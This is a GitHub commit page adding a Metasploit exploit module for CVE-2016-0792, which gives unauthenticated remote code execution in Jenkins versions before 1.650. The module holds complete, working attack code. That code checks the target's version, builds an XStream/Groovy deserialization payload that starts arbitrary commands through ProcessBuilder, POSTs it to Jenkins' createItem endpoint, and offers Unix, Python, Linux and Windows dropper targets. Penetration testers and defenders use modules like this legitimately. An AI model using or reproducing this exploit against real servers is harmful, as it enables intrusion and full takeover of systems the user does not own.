Skip to content

Commit 371f3c3

Browse files
committed
This commit adds the jenkins_xstream_deserialize module
1 parent c2a979d commit 371f3c3

File tree

1 file changed

+140
-0
lines changed

1 file changed

+140
-0
lines changed
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
include Msf::Exploit::Powershell
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability',
16+
'Description' => %q{
17+
This module exploits a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
18+
older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
19+
which allows remote arbitrary code execution. The issue affects default installations. Authentication
20+
is not required to exploit the vulnerability.
21+
},
22+
'Author' =>
23+
[
24+
'Arshan Dabirsiaghi', # Vulnerability discovery
25+
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
26+
],
27+
'DisclosureDate' => 'Feb 24 2016',
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
['CVE', '2016-0792'],
32+
['URL', 'https://https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
33+
['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
34+
],
35+
'Platform' => %w{ win linux unix },
36+
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
37+
'Targets' => [
38+
['Unix (In-Memory)',
39+
'Platform' => 'unix',
40+
'Arch' => ARCH_CMD
41+
],
42+
['Python (In-Memory)',
43+
'Platform' => 'python',
44+
'Arch' => ARCH_PYTHON
45+
],
46+
['Linux (Dropper)',
47+
'Platform' => 'linux',
48+
'Arch' => [ARCH_X86, ARCH_X64]
49+
],
50+
['Windows (Dropper)',
51+
'Platform' => 'win',
52+
'Arch' => [ARCH_X86, ARCH_X64]
53+
]
54+
],
55+
'DefaultTarget' => 0
56+
))
57+
58+
register_options([
59+
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
60+
Opt::RPORT('8080')
61+
])
62+
deregister_options('URIPATH')
63+
end
64+
65+
def check
66+
res = send_request_cgi({
67+
'uri' => normalize_uri(target_uri.path)
68+
})
69+
70+
unless res
71+
fail_with(Failure::Unknown, 'The connection timed out.')
72+
end
73+
74+
http_headers = res.headers
75+
76+
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
77+
return Exploit::CheckCode::Appears
78+
else
79+
return Exploit::CheckCode::Safe
80+
end
81+
end
82+
83+
def exploit
84+
case target.name
85+
when /Unix/, /Python/
86+
execute_command(payload.encoded)
87+
else
88+
execute_cmdstager
89+
end
90+
end
91+
92+
# Exploit methods
93+
94+
def execute_command(cmd, opts = {})
95+
cmd = case target.name
96+
when /Unix/, /Linux/
97+
%W{/bin/sh -c #{cmd}}
98+
when /Python/
99+
%W{python -c #{cmd}}
100+
when /Windows/
101+
%W{cmd.exe /c #{cmd}}
102+
end
103+
104+
# Encode each command argument with XML entities
105+
cmd.map! { |arg| arg.encode(xml: :text) }
106+
107+
res = send_request_cgi(
108+
'method' => 'POST',
109+
'uri' => normalize_uri(target_uri.path, '/createItem?name=random'),
110+
'ctype' => 'application/xml',
111+
'data' => xstream_payload(cmd)
112+
)
113+
end
114+
115+
def xstream_payload(cmd)
116+
<<EOF
117+
<map>
118+
<entry>
119+
<groovy.util.Expando>
120+
<expandoProperties>
121+
<entry>
122+
<string>hashCode</string>
123+
<org.codehaus.groovy.runtime.MethodClosure>
124+
<delegate class="groovy.util.Expando"/>
125+
<owner class="java.lang.ProcessBuilder">
126+
<command>
127+
<string>#{cmd.join('</string><string>')}</string>
128+
</command>
129+
</owner>
130+
<method>start</method>
131+
</org.codehaus.groovy.runtime.MethodClosure>
132+
</entry>
133+
</expandoProperties>
134+
</groovy.util.Expando>
135+
<int>1</int>
136+
</entry>
137+
</map>
138+
EOF
139+
end
140+
end

0 commit comments

Comments
 (0)